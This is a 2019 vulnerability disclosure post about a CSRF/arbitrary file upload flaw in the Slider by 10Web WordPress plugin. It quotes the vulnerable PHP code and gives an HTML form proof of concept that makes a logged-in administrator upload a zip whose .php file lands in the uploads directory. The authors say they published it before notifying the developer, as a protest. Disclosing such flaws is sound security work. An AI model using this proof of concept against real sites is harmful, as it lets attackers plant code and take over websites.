29 Jan 2019

Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in a WordPress Plugin with 70,000+ Installs

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a less serious variant of an arbitrary file upload vulnerability in a plugin with 70,000+ installs, Slider by 10Web. The vulnerability could allow an attacker that could get a logged in Administrator to access a page they control to upload a malicious file to a website and then they could take any action they wanted with the website.

What makes the vulnerability notable in a way is that the functionality with the vulnerability is present as being disabled in the free version of the plugin:

In reality the underlying code for the functionality is not disabled, just the frontend interface.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

Accessing the plugin’s admin Import page causes the function to run demo_sliders():

268
$demo_slider = add_submenu_page($parent_slug, __('Import', $this->prefix), __('Import', $this->prefix), 'manage_options', 'demo_sliders_wds', array($this, 'demo_sliders'));

That function will cause the file /demo_sliders/demo_sliders.php to be loaded if the user making the request has the “manage_options” capability, so normally only Administrators (that capability would also been need to access the admin page):

372
373
374
375
376
377
378
379
380
381
function demo_sliders() {
  if (function_exists('current_user_can')) {
    if (!current_user_can('manage_options')) {
      die('Access Denied');
    }
  }
  else {
    die('Access Denied');
  }
  require_once($this->plugin_dir . '/demo_sliders/demo_sliders.php');

The first code in that file will save a file sent with the request that to the directory /wp-content/uploads/slider-wd/

2
3
4
5
6
7
8
9
10
11
12
if( isset($_REQUEST['wds_import_submit']) && ! empty($_FILES['fileimport']) ) {
    require_once(WDS()->plugin_dir . '/framework/WDW_S_Library.php');
    global $wpdb;
    $flag = FALSE;
    $file = $_FILES['fileimport'];
    $dest_dir = ABSPATH . WDS()->upload_dir;
    if ( ! file_exists( $dest_dir ) ) {
      mkdir( $dest_dir, 0777, true );
    }
    if ( move_uploaded_file($file["tmp_name"], $dest_dir .'/'. $file["name"]) ) {
      $flag = WDW_S_Library::wds_import_zip_action( $dest_dir, $file["name"] );

Then the function wds_import_zip_action() in the file /framework/WDW_S_Library.php will run. A lot of code runs in that, but the end result is if you uploaded a .zip file with a .php file, that .php file will now be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/.

At no point in the process is valid nonce checked for, which would prevent cross-site request forgery (CRSR).

Proof of Concept

The following proof of concept will cause a file placed in an upload .zip file to be saved in the directories /wp-content/uploads/slider-wd/import/ and /wp-content/uploads/slider-wd/.original/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=demo_sliders_wds&wds_import_submit=test" method="POST" enctype="multipart/form-data">
<input type="file" name="fileimport" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

2 thoughts on “Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in a WordPress Plugin with 70,000+ Installs

  1. 10Web has published a new version, 1.2.23, around Feb 1 with the patch notes “Fixed: security issue.” Are you able to tell if they have in fact fixed this vulnerability?

    • The best way for everyone to check if vulnerabilities in WordPress plugins have been fixed is to use our service as we verify if they have been truly fixed (we often find that plugin developers believe they have fixed vulnerabilities when they haven’t). We also warn people that they are using vulnerable plugins before they have been attempted to be fixed, which is even more important.

Leave a Reply to Plugin Vulnerabilities Cancel reply

Your email address will not be published. Required fields are marked *